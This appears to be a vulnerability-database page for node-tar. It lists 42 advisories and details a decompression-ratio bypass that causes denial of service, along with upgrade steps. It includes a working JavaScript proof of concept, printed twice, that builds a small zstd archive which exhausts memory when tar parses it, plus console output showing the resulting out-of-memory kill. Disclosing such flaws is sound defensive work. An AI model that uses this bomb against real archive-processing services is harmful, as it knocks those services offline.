Vulnerabilities in pkg:npm/tar

PACKAGE
Advisory Identifier: GHSA-9239-v992-p74f
Advisory Summary

CVE-2026-140229 is a HIGH denial of service vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting node-tar libraries in the npm ecosystem. The issue involves denial of service via unbounded memory allocation bypassing maxdecompressionratio. Remediation is available by upgrading affected packages to version 8.0.0.

42 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/tar

42 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/tar. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-9239-v992-p74f CVE-2026-140229 HIGH node-tar: Denial of service via unbounded memory allocation bypassing maxDecompressionRatio
GHSA-xm6h-2993-3ch9 CVE-2026-140230 HIGH node-tar PathReservations.getDirs() quadratic memory amplification via unbounded symlink linkpath depth — uncatchable OOM process kill
GHSA-9hmx-4f52-v64x CVE-2026-140231 HIGH node-tar: Decompression within the ratio limit is buffered in memory without backpressure, and zero-size entries queue without bound
GHSA-wpwg-r92p-fjjh CVE-2026-140234 HIGH node-tar: Incomplete NUL-byte truncation in ustar, GNU, and PAX names causes name differentials and async crashes
GHSA-rgjp-p5j7-w36x CVE-2026-140235 HIGH node-tar parses PAX extended headers by newline-splitting instead of length-delimiting, causing record dropping and forged-field injection
GHSA-qv2w-fc3h-pm27 CVE-2026-140236 HIGH node-tar: Archive framing differential from PAX size still being applied to GNU/PAX meta entries via ReadEntry and related size/precedence inconsistencies
GHSA-p96f-8xj2-g85p CVE-2026-140237 MODERATE node-tar: ReadEntry pending PAX size reapplication permits metadata-body file smuggling
GHSA-mpg7-vg3p-wc3m CVE-2026-140238 HIGH node-tar: Newline injection in PAX extended-header records enables entry-attribute forgery (path overwrite → npm postinstall RCE on Windows)
GHSA-ffhw-4r4q-5cwv CVE-2026-140239 HIGH node-tar: Global PAX extended header injects attacker-controlled linkpath into tar.Parser entries, bypassing strict-mode validation
GHSA-7c32-79xj-j3jp CVE-2026-140240 HIGH node-tar: A small archive exhausts memory or CPU through path-reservation bookkeeping
GHSA-72fp-85cc-g945 CVE-2026-140241 HIGH node-tar crashes the process with an uncaught exception on a 4-byte zstd magic header when the Node runtime lacks native zstd
GHSA-ph3c-p786-j4rp CVE-2026-140242 HIGH node-tar: Non-finite PAX size (Infinity) bypasses validation, causing extraction entry loss and an uncaught exception when re-packing
GHSA-mhqm-9wj8-w7r4 CVE-2026-140244 HIGH node-tar: Symlink containment bypass via nested symlink + '..' (lexical linkpath check)
GHSA-jmj2-9c5q-vw73 CVE-2026-140245 HIGH node-tar: Symlink linkpath containment bypass via entry paths ending in '/.'
GHSA-hqgx-p3r3-2cfg CVE-2026-140246 HIGH node-tar: SymbolicLink extraction escapes the extraction directory on non-Windows hosts via a backslash separator differential
GHSA-gvrf-jx37-rjv5 CVE-2026-140247 HIGH node-tar: Symlink linkpath escape check is lexical: '..' after an in-archive symlink creates symlinks outside the extraction directory
GHSA-6wwr-g865-f46r CVE-2026-140248 HIGH node-tar: Nested symlink target can escape node-tar extraction root
GHSA-4pf9-5fpx-xmr6 CVE-2026-140249 HIGH node-tar: Symlink target escapes the extraction directory through an in-archive symlink chain
GHSA-3wwj-8j6r-q339 CVE-2026-140250 HIGH node-tar: Symlink containment bypass via chained symlinks lets tar.x() create links that resolve outside the extraction directory (regression since 7.5.5)
GHSA-98v3-7xjr-fg83 CVE-2026-140251 HIGH node-tar async extraction deadlocks permanently when an entry's linkpath is a hierarchical relative of its own path
GHSA-25mm-r35j-6hgm CVE-2026-140252 HIGH node-tar UnpackSync never completes sync-stream extraction after any failing entry (PEND/UNPEND imbalance)
GHSA-r292-9mhp-454m CVE-2026-73566 HIGH node-tar: Uncontrolled recursion in mapHas/filesFilter allows uncatchable stack-overflow DoS via crafted long-path tar with member selection
GHSA-w8wr-v893-vjvp CVE-2026-59871 MODERATE node-tar: Process crash via PAX numeric path type confusion
GHSA-23hp-3jrh-7fpw CVE-2026-59873 CRITICAL node-tar: Decompression/parse DoS via unlimited input
GHSA-8x88-c5mf-7j5w CVE-2026-59874 HIGH node-tar: Negative tar entry size causes infinite loop in archive replace
GHSA-gvwx-54wh-qm9j CVE-2026-59875 MODERATE node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records
GHSA-vmf3-w455-68vh CVE-2026-53655 MODERATE node-tar applies PAX size override to intermediary GNU long-name/long-link headers, causing tar parser interpretation differential (file smuggling)
GHSA-r6q2-hw4h-h46w CVE-2026-23950 HIGH Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS
GHSA-9ppj-qmqm-q256 CVE-2026-31802 HIGH node-tar Symlink Path Traversal via Drive-Relative Linkpath
GHSA-qffp-2rhf-9h96 CVE-2026-29786 HIGH tar has Hardlink Path Traversal via Drive-Relative Linkpath
GHSA-83g3-92jg-28cx CVE-2026-26960 HIGH Arbitrary File Read/Write via Hardlink Target Escape Through Symlink Chain in node-tar Extraction
GHSA-8qq5-rm4j-mr97 CVE-2026-23745 HIGH node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization
GHSA-34x7-hfp2-rc4v CVE-2026-24842 HIGH node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal
GHSA-29xp-372q-xqph CVE-2025-64118 MODERATE node-tar has a race condition leading to uninitialized memory exposure
GHSA-f5x3-32g6-xq36 CVE-2024-28863 MODERATE Denial of service while parsing a tar file due to lack of folders count validation
GHSA-j44m-qm6p-hp7m CVE-2018-20834 HIGH Arbitrary File Overwrite in tar
GHSA-r628-mhmh-qjhw CVE-2021-32803 HIGH Arbitrary File Creation/Overwrite via insufficient symlink protection due to directory cache poisoning
GHSA-gfjr-3jmm-4g9v CVE-2015-8860 HIGH Symlink Arbitrary File Overwrite in tar
GHSA-5955-9wpr-37jh CVE-2021-37713 HIGH Arbitrary File Creation/Overwrite on Windows via insufficient relative path sanitization
GHSA-qq89-hq3f-393p CVE-2021-37712 HIGH Arbitrary File Creation/Overwrite via insufficient symlink protection due to directory cache poisoning using symbolic links
GHSA-9r2w-394v-53qc CVE-2021-37701 HIGH Arbitrary File Creation/Overwrite via insufficient symlink protection due to directory cache poisoning using symbolic links
GHSA-3jfq-g458-7qm9 CVE-2021-32804 HIGH Arbitrary File Creation/Overwrite due to insufficient absolute path sanitization

CVE-2026-140229 at a Glance

CVE Identifier CVE-2026-140229
GHSA Identifier GHSA-9239-v992-p74f
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product node-tar
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-140229

To remediate this vulnerability, upgrade all affected node-tar dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

tar fixed: 8.0.0
npm install tar@8.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls tar

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-140229, inspect your project dependencies using npm:

npm ls tar

Analyze the terminal output to locate any version of node-tar in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.0.0), your application is affected.

Note: The npm ls tar command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In node-tar, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `maxDecompressionRatio` guard `tar` added for GHSA-23hp-3jrh-7fpw is evaluated *after* node zlib has already materialized the inflated output, so it observes an allocation rather than bounding one. A remote, unauthenticated party who can hand `tar.t()`/`tar.x()` an archive can deny service with 65,608 bytes, at stock settings. ### Details The check runs from the decompressor's `'data'` event, which fires once per call to node zlib's *synchronous* `_processChunk` — by then that input chunk's entire inflated output is resident: ```ts // src/parse.ts:550-555 this[UNZIP].on('data', chunk => { if (this[CHECKDECOMPRESSIONRATIO](chunk)) { this[CONSUMECHUNK](chunk) } }) ``` Compressed bytes are credited per `write()`, so the guard's resolution is the *caller's write size*, not the codec's output: a single large write front-loads the whole `inputSize × 1000` budget before the ratio is evaluated even once, and `tar`'s own file-reading helpers write up to 16 MB at a time. The decompressors are built with no `maxOutputLength`, so nothing else caps that chunk. The single ratio constant of 1000 was calibrated to DEFLATE's ~1032:1 ceiling. zstd reaches ~32,700:1 and brotli ~1,230,000:1, so on those codecs the expansion completes inside one chunk whatever the write size. zstd requires no caller opt-in — it is auto-sniffed by 4-byte magic whenever `this.zstd !== false`, the default. A third path needs no decompression. Both parse loops stop at the tar EOF marker; the buffering does not: ```ts // src/parse.ts:599-603, 670 while (this[BUFFER] && this[BUFFER].length && !this[SAW_EOF]) { … } … [BUFFERCONCAT](c: Buffer) { if (c && !this[ABORTED]) { this[BUFFER] = this[BUFFER] ? Buffer.concat([this[BUFFER], c]) : c } } ``` Once `SAW_EOF` is set, `position` never advances, so every subsequent `write()` appends its chunk with nothing draining it — and `write()`'s return value never reflects `SAW_EOF`, so a piping producer gets no signal to slow down. ### PoC ```js // poc.js — from a clean `npm i tar@7.5.22`, driven only through tar's public API. // Builds a 65,608-byte zstd archive that expands to 2 GiB, then feeds it to tar.t() // at DEFAULT options in 64 KiB writes: no zstd opt-in (it is auto-detected by magic // bytes) and no ratio override. The attacker controls only the archive bytes. const fs = require('fs'); const z = require('zlib'); const tar = require('tar'); function buildHeader({ size, name = 'payload' }) { const h = Buffer.alloc(512); h.write(name); h.write('0000644\0', 100); h.write('0000000\0', 108); h.write('0000000\0', 116); h.write(size.toString(8).padStart(11, '0') + '\0', 124); h.write('00000000000\0', 136); h.write(' ', 148); h.write('0', 156); h.write('ustar \0', 257); let s = 0; for (let i = 0; i < 512; i++) s += h[i]; h.write(s.toString(8).padStart(6, '0') + '\0 ', 148); return h; } const size = 2 * 1024 * 1024 * 1024; // declared entry size: 2 GiB const h = buildHeader({ size }); const zc = z.createZstdCompress(), out = fs.createWriteStream('bomb.tar.zst'); zc.pipe(out); zc.write(h); const CH = Buffer.alloc(1 << 20); let w = 0; (function loop() { while (w < size) { w += CH.length; if (!zc.write(CH)) { zc.once('drain', loop); return; } } zc.write(Buffer.alloc(1024)); zc.end(); out.on('finish', run); })(); function run() { console.log('archive built:', fs.statSync('bomb.tar.zst').size, 'bytes; parsing...'); const p = tar.t({ onentry: () => {} }); // stock options const b = fs.readFileSync('bomb.tar.zst'); for (let i = 0; i < b.length; i += 65536) p.write(b.subarray(i, i + 65536)); p.end(); } ``` ```console ## The node process prints one line and then dies mid-parse; the exit status and the ## OOM flag below come from the container runtime, not from the script. $ npm i tar@7.5.22 $ docker run --name tar-poc --network none --memory 512m --memory-swap 512m -v "$PWD:/w" -w /w node:22 node poc.js archive built: 65608 bytes; parsing... $ echo "exit=$?" exit=137 $ docker inspect tar-poc --format '{{.State.OOMKilled}}' true ## The archive is written before parsing starts, so it survives the kill: $ ls -l bomb.tar.zst -rw-r--r-- 65608 bomb.tar.zst # 65,608 bytes in, 2 GiB declared - ratio ~32,736:1 ## No "max decompression ratio exceeded" error precedes the kill, though that ratio is ## ~32,736:1 against the default 1000:1 limit. 64 KiB input writes do not help: one zstd ## frame expands past the cap inside a single synchronous _processChunk. ``` ### Impact A remote, unauthenticated attacker who can get any service to run `tar.t()`/`tar.x()` on a supplied archive — registries, CI runners, artifact and backup services — denies service with a 65,608-byte zstd archive at default settings. The attacker sizes the allocation — the entry header declares it — so under a memory limit it is an immediate OOM kill, and without one, host-wide memory pressure.

CVE-2026-140229 Affected node-tar Versions

1 component(s)
Fixed Versions:
8.0.0
Product / Package Ecosystem Affected Versions Fixed Version
tar
npm
< 8.0.0
8.0.0

References

Frequently Asked Questions

What is CVE-2026-140229?
CVE-2026-140229 is a security vulnerability in node-tar involving Denial of service via unbounded memory allocation bypassing maxDecompressionRatio under CWE-770: Allocation of Resources Without Limits or Throttling.
Which node-tar versions are affected?
Affected versions include releases prior to 8.0.0 across affected packages: tar.
What version fixes CVE-2026-140229?
Upgrading to 8.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is tar affected?
Yes, tar is affected in releases prior to 8.0.0. Upgrade your dependency to 8.0.0 or later.
What CWE is associated with CVE-2026-140229?
CVE-2026-140229 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check npm dependencies for CVE-2026-140229?
Run the dependency tree command: 'npm ls tar'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9239-v992-p74f",
  "modified" : "2026-12-05T00:16:01Z",
  "published" : "2026-12-05T00:16:01Z",
  "aliases" : [ "CVE-2026-140229" ],
  "summary" : "node-tar: Denial of service via unbounded memory allocation bypassing maxDecompressionRatio",
  "details" : "### Summary\n\nThe `maxDecompressionRatio` guard `tar` added for GHSA-23hp-3jrh-7fpw is evaluated *after* node zlib has already materialized the inflated output, so it observes an allocation rather than bounding one. A remote, unauthenticated party who can hand `tar.t()`/`tar.x()` an archive can deny service with 65,608 bytes, at stock settings.\n\n### Details\n\nThe check runs from the decompressor's `'data'` event, which fires once per call to node zlib's *synchronous* `_processChunk` — by then that input chunk's entire inflated output is resident:\n\n```ts\n// src/parse.ts:550-555\nthis[UNZIP].on('data', chunk => {\n  if (this[CHECKDECOMPRESSIONRATIO](chunk)) {\n    this[CONSUMECHUNK](chunk)\n  }\n})\n```\n\nCompressed bytes are credited per `write()`, so the guard's resolution is the *caller's write size*, not the codec's output: a single large write front-loads the whole `inputSize × 1000` budget before the ratio is evaluated even once, and `tar`'s own file-reading helpers write up to 16 MB at a time. The decompressors are built with no `maxOutputLength`, so nothing else caps that chunk.\n\nThe single ratio constant of 1000 was calibrated to DEFLATE's ~1032:1 ceiling. zstd reaches ~32,700:1 and brotli ~1,230,000:1, so on those codecs the expansion completes inside one chunk whatever the write size. zstd requires no caller opt-in — it is auto-sniffed by 4-byte magic whenever `this.zstd !== false`, the default.\n\nA third path needs no decompression. Both parse loops stop at the tar EOF marker; the buffering does not:\n\n```ts\n// src/parse.ts:599-603, 670\nwhile (this[BUFFER] && this[BUFFER].length && !this[SAW_EOF]) { … }\n…\n[BUFFERCONCAT](c: Buffer) {\n  if (c && !this[ABORTED]) {\n    this[BUFFER] = this[BUFFER] ? Buffer.concat([this[BUFFER], c]) : c\n  }\n}\n```\n\nOnce `SAW_EOF` is set, `position` never advances, so every subsequent `write()` appends its chunk with nothing draining it — and `write()`'s return value never reflects `SAW_EOF`, so a piping producer gets no signal to slow down.\n\n### PoC\n\n```js\n// poc.js — from a clean `npm i tar@7.5.22`, driven only through tar's public API.\n// Builds a 65,608-byte zstd archive that expands to 2 GiB, then feeds it to tar.t()\n// at DEFAULT options in 64 KiB writes: no zstd opt-in (it is auto-detected by magic\n// bytes) and no ratio override. The attacker controls only the archive bytes.\nconst fs = require('fs');\nconst z = require('zlib');\nconst tar = require('tar');\n\nfunction buildHeader({ size, name = 'payload' }) {\n  const h = Buffer.alloc(512);\n  h.write(name); h.write('0000644\\0', 100); h.write('0000000\\0', 108); h.write('0000000\\0', 116);\n  h.write(size.toString(8).padStart(11, '0') + '\\0', 124);\n  h.write('00000000000\\0', 136); h.write('        ', 148); h.write('0', 156); h.write('ustar  \\0', 257);\n  let s = 0; for (let i = 0; i < 512; i++) s += h[i];\n  h.write(s.toString(8).padStart(6, '0') + '\\0 ', 148);\n  return h;\n}\n\nconst size = 2 * 1024 * 1024 * 1024;                 // declared entry size: 2 GiB\nconst h = buildHeader({ size });\nconst zc = z.createZstdCompress(), out = fs.createWriteStream('bomb.tar.zst');\nzc.pipe(out); zc.write(h);\nconst CH = Buffer.alloc(1 << 20); let w = 0;\n(function loop() {\n  while (w < size) { w += CH.length; if (!zc.write(CH)) { zc.once('drain', loop); return; } }\n  zc.write(Buffer.alloc(1024)); zc.end();\n  out.on('finish', run);\n})();\n\nfunction run() {\n  console.log('archive built:', fs.statSync('bomb.tar.zst').size, 'bytes; parsing...');\n  const p = tar.t({ onentry: () => {} });            // stock options\n  const b = fs.readFileSync('bomb.tar.zst');\n  for (let i = 0; i < b.length; i += 65536) p.write(b.subarray(i, i + 65536));\n  p.end();\n}\n```\n\n```console\n## The node process prints one line and then dies mid-parse; the exit status and the\n## OOM flag below come from the container runtime, not from the script.\n\n$ npm i tar@7.5.22\n$ docker run --name tar-poc --network none --memory 512m --memory-swap 512m -v \"$PWD:/w\" -w /w node:22 node poc.js\narchive built: 65608 bytes; parsing...\n$ echo \"exit=$?\"\nexit=137\n$ docker inspect tar-poc --format '{{.State.OOMKilled}}'\ntrue\n\n## The archive is written before parsing starts, so it survives the kill:\n$ ls -l bomb.tar.zst\n-rw-r--r--  65608  bomb.tar.zst        # 65,608 bytes in, 2 GiB declared - ratio ~32,736:1\n\n## No \"max decompression ratio exceeded\" error precedes the kill, though that ratio is\n## ~32,736:1 against the default 1000:1 limit. 64 KiB input writes do not help: one zstd\n## frame expands past the cap inside a single synchronous _processChunk.\n```\n\n### Impact\n\nA remote, unauthenticated attacker who can get any service to run `tar.t()`/`tar.x()` on a supplied archive — registries, CI runners, artifact and backup services — denies service with a 65,608-byte zstd archive at default settings. The attacker sizes the allocation — the entry header declares it — so under a memory limit it is an immediate OOM kill, and without one, host-wide memory pressure.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "tar"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "8.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/security/advisories/GHSA-9239-v992-p74f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-140229"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/commit/73b352e0010d6c99794ea7374800816a46d3bdb2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/commit/da66090c7a44b2140bd4a6343c478a8e411e1aa7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/isaacs/node-tar"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/releases/tag/v8.0.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-12-05T00:16:01Z",
    "nvd_published_at" : "2026-12-01T17:17:35Z"
  }
}